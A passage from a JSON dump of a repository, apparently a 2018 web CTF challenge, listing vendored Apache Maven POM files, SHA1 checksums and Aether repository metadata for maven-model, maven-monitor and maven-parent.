       <artifactId>modello-maven-plugin</artifactId>\n            <version>1.0-alpha-8</version>\n            <executions>\n              <execution>\n                <id>v3</id>\n                <goals>\n                  <goal>xpp3-writer</goal>\n                  <goal>java</goal>\n                  <goal>xpp3-reader</goal>\n                  <goal>xsd</goal>\n                </goals>\n                <configuration>\n                  <version>3.0.0</version>\n                  <packageWithVersion>true</packageWithVersion>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <phase>package</phase>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <configuration>\n                  <classifier>all</classifier>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.6/maven-model-2.0.6.pom.sha1",
    "content": "ea1dd9b8c7b1c3d2f0bdf314390ed7da7e463460"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-model-2.0.9.pom>central=\nmaven-model-2.0.9.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.9/maven-model-2.0.9.jar.sha1",
    "content": "9fb844625928dd992842e180853fbb2b197c9a9d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.9/maven-model-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-model</artifactId>\n  <name>Maven Model</name>\n  <description>Maven Model</description>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>4.0.0</version>\n          <model>src/main/mdo/maven.mdo</model>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <profiles>\n    <profile>\n      <id>all-models</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.modello</groupId>\n            <artifactId>modello-maven-plugin</artifactId>\n            <version>1.0-alpha-8</version>\n            <executions>\n              <execution>\n                <id>v3</id>\n                <goals>\n                  <goal>xpp3-writer</goal>\n                  <goal>java</goal>\n                  <goal>xpp3-reader</goal>\n                  <goal>xsd</goal>\n                </goals>\n                <configuration>\n                  <version>3.0.0</version>\n                  <packageWithVersion>true</packageWithVersion>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <phase>package</phase>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <configuration>\n                  <classifier>all</classifier>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.9/maven-model-2.0.9.pom.sha1",
    "content": "0978fe1857f847436fd3c454d25161e26fb2d5ec"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nmaven-model-2.2.1.jar>central=\nmaven-model-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.2.1/maven-model-2.2.1.jar.sha1",
    "content": "c0a1c17436ec3ff5a56207c031d82277b4250a29"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.2.1/maven-model-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-model</artifactId>\n\n  <name>Maven Model</name>\n  <description>Maven Model</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>4.0.0</version>\n          <models>\n            <model>src/main/mdo/maven.mdo</model>\n          </models>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-pmd-plugin</artifactId>\n        <version>2.4</version>\n        <configuration>\n          <skip>true</skip>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>all-models</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.modello</groupId>\n            <artifactId>modello-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>v3</id>\n                <goals>\n                  <goal>xpp3-writer</goal>\n                  <goal>java</goal>\n                  <goal>xpp3-reader</goal>\n                  <goal>xsd</goal>\n                </goals>\n                <configuration>\n                  <version>3.0.0</version>\n                  <packageWithVersion>true</packageWithVersion>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <phase>package</phase>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <configuration>\n                  <classifier>all</classifier>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.2.1/maven-model-2.2.1.pom.sha1",
    "content": "548a7e6354c1bc4a49dbec6bd17b4f8e9310201b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/3.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-model-3.0.pom>central=\nmaven-model-3.0.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/3.0/maven-model-3.0.jar.sha1",
    "content": "24ce598c94a78341c42556fe9192dad6a2822405"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/3.0/maven-model-3.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>3.0</version>\n  </parent>\n\n  <artifactId>maven-model</artifactId>\n\n  <name>Maven Model</name>\n  <description>Maven Model</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>4.0.0</version>\n          <models>\n            <model>src/main/mdo/maven.mdo</model>\n          </models>\n        </configuration>\n        <executions>\n          <execution>\n            <id>standard</id>\n            <goals>\n              <goal>java</goal>\n              <goal>xpp3-reader</goal>\n              <goal>xpp3-extended-reader</goal>\n              <goal>xpp3-writer</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               as it interferes with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>all-models</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.modello</groupId>\n            <artifactId>modello-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>v3</id>\n                <goals>\n                  <goal>java</goal>\n                  <goal>xpp3-writer</goal>\n                  <goal>xpp3-reader</goal>\n                  <goal>xsd</goal>\n                </goals>\n                <configuration>\n                  <version>3.0.0</version>\n                  <packageWithVersion>true</packageWithVersion>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <phase>package</phase>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n                <configuration>\n                  <classifier>all</classifier>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/3.0/maven-model-3.0.pom.sha1",
    "content": "3aa89da7792286192b860c58841b3907364d33a8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model-builder/3.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-model-builder-3.0.jar>central=\nmaven-model-builder-3.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model-builder/3.0/maven-model-builder-3.0.jar.sha1",
    "content": "bedc161a3b07a4bcd175b9428cdf18725d292b37"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model-builder/3.0/maven-model-builder-3.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n  <!--\n    Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE\n    file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file\n    to you under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with\n    the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by\n    applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language\n    governing permissions and limitations under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>3.0</version>\n  </parent>\n\n  <artifactId>maven-model-builder</artifactId>\n\n  <name>Maven Model Builder</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-annotations</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.sisu</groupId>\n      <artifactId>sisu-inject-plexus</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model-builder/3.0/maven-model-builder-3.0.pom.sha1",
    "content": "e4b3e5ffec18728f099d8000e400ac763af2cc20"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-monitor-2.0.6.jar>central=\nmaven-monitor-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.6/maven-monitor-2.0.6.jar.sha1",
    "content": "ab682e67281bb025980181c83acbcad19042a342"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.6/maven-monitor-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-monitor</artifactId>\n  <name>Maven Monitor</name>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.6/maven-monitor-2.0.6.pom.sha1",
    "content": "7ed6529eefa74ca263b65a7c20adf65af5bacdff"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-monitor-2.0.9.pom>central=\nmaven-monitor-2.0.9.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.9/maven-monitor-2.0.9.jar.sha1",
    "content": "ae55264ab9ffbbfdba08c8c7853bbe4a2dd32e8a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.9/maven-monitor-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-monitor</artifactId>\n  <name>Maven Monitor</name>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.0.9/maven-monitor-2.0.9.pom.sha1",
    "content": "872e92b9f9ebed4761ea469c2c385f2ffcd6a589"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nmaven-monitor-2.2.1.jar>central=\nmaven-monitor-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.2.1/maven-monitor-2.2.1.jar.sha1",
    "content": "afc57c3a1368cd34caccb638e00523701f398c20"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.2.1/maven-monitor-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-monitor</artifactId>\n\n  <name>Maven Monitor</name>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-monitor/2.2.1/maven-monitor-2.2.1.pom.sha1",
    "content": "421fcf473a51d9695d8dfe4f8e977ae38087f2ae"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/10/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:03 CST 2018\nmaven-parent-10.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/10/maven-parent-10.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>4</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>10</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.</description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2002</inceptionYear>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Heritier</name>\n      <email>aheritier@apache.org</email>\n      <organization>OCTO Technology</organization>\n      <organizationUrl>http://www.octo.com</organizationUrl>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>hboutemy</id>\n      <name>Herve Boutemy</name>\n      <email>hboutemy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>IONA</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n\n    <!--Committers-->\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bentmann</id>\n      <name>Benjamin 